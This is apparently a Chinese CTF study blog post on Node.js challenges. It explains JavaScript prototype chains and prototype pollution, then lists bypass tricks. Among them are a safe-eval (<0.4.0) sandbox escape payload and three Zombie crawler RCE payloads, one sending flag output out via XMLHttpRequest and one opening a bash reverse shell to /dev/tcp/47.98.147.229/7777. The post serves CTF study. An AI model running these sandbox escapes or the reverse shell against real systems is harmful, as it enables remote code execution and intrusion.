Nodejs Summary
本篇 Blog 的内容更像是一页目录,主要记录在做题过程中所遇到的关于 nodejs
类型的题目
以及对此类型题目所以需要的知识点进行总结,分类,可点击 相关题目
中的链接以查看题目的具体解答过程.
0x01
1.1 原型链污染
在讲原型连污染之前,我们得知道什么是原型链.
javascript
特性:
- 在
javascript
中,只有一种结构,对象
1.1.1 javascript
中的对象
即使 javascript
中只有对象一种结构,但对象又分为: 普通对象以及函数对象.
区分:
函数对象: 通过new Funtion()
创建的对象都属于函数对象
普通对象: 除函数对象外,其他所有对象都是普通对象.
1.1.2 构造函数与原型对象
简单描述下构造函数的定义:
通过 new FunctionName
来实例化对象的函数叫构造函数.举个例子.
function A(){};
let a = new A();
第2
行中A()
就构造函数.
原型对象
前面提到过javascript
的对象分为普通对象和函数对象.
两者的区别在于函数对象拥有一个prototype
属性.这个属性所指向就是原型,由于原型是一个对象,所以也称原型对象.举个例子:
function Test(){}
用于声明一个函数对象.
使用typeof Test
确认这是个函数对象,
Test.prototype
查看Test
函数对象中的 prototype
属性,也就是Test
的原型对象
typeof Test.prototype
用于判断原型对象的类型,属于对象.
到这里,你应该了解和记住原型对象就是一个函数对象的prototype
属性.
1.1.3 _proto_
除了函数对象存在特殊属性prototype
之外,所有对象都还存在一个内置属性__proto_
.
此内置属性用于指向创建他的构造函数的原型对象.举个例子:
function A(){}
let test = new A();
test.__proto__ == A.prototype
因为 test
是由构造方法A()
所创建,而A
的原型对象为A.prototype
,因此test.__proto__ == A.prototype
的结果为True
到这里,你应该了解和记住对象的__proto__
属性的指向.
1.1.4 原型链与原型链污染
由相互关联的原型组成的链状结构就是原型链.
JavaScript 对象有一个指向一个原型对象的链。当试图访问一个对象的属性时,它不仅仅在该对象上搜寻,还会搜寻该对象的原型,以及该对象的原型的原型,依次层层向上搜索,直到找到一个名字匹配的属性或到达原型链的末尾
原型链污染即用户的输入能够影响到原型对象的或指向或属性.
merge
clone
1.1.5 参考文章
https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html
https://www.jianshu.com/p/dee9f8b14771
1.2
0x02 Bypass
2.1 safe-eval Rce
2.1.1
safe-eval version<0.4.0
2.1.2 payload
var safeEval = require('safe-eval');
safeEval("this.constructor.constructor('return process')().mainModule.require('child_process').execSync('calc.exe').toString();")
2.1.3 相关题目
2.1.4 参考链接
https://snyk.io/test/npm/safe-eval/0.3.0
2.2 setTimeout()
浏览器内部使用32位带符号的整数来储存推迟执行的时间,这意味着setTimeout最多延迟2147483647秒。只要大于2147483647,就会发生溢出,就可以绕过那个时间限制,进入下一个路由.
2.3 Json_decode()
json_decode有个特性就是会自动解码unicode编码。因此可以利用unicode绕过过滤
2.4 Zombie
2.4.1 简单描述下漏洞原理:
在较低版本的Zombie
中(参考链接中Zomie@6.1.2),当使用Zombie
去爬取页面时,会执行页面的js
代码.
2.4.2 payload
这里列出参考的两个payload:内容均放在自己的服务器上.
1.
<script>
try {
let out = constructor.constructor('return process')().mainModule.require('child_process').execSync('/readflag').toString();
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "xxx/leak?flag=" + encodeURIComponent(out), true);
xhttp.send();
} catch(err) {
}
</script>
2.
var codeToExec = "var sync=require('child_process').spawnSync; " +
"var ls = sync('cat', ['./resources/test.html']); console.log(ls.output.toString());";
var exploit = "c='constructor';require=this[c][c]('return process')().mainModule.require;" + codeToExec;
var attackVector = "c='constructor';this[c][c](\"" + exploit + "\")()";
3.
<script>c='constructor';this[c][c]("c='constructor';require=this[c][c]('return process')().mainModule.require;var sync=require('child_process').spawnSync; var ls = sync('bash', ['-c','bash -i >& /dev/tcp/47.98.147.229/7777 0>&1'],);console.log(ls.output.toString());")()</script>
请酌情更换相应的执行函数及参数
相关题目
2021 祥云杯 web_crawler_z
2.4.4 参考链接:
https://ha.cker.in/index.php/Article/13563
0x03
3.1
3.2
持续完善中…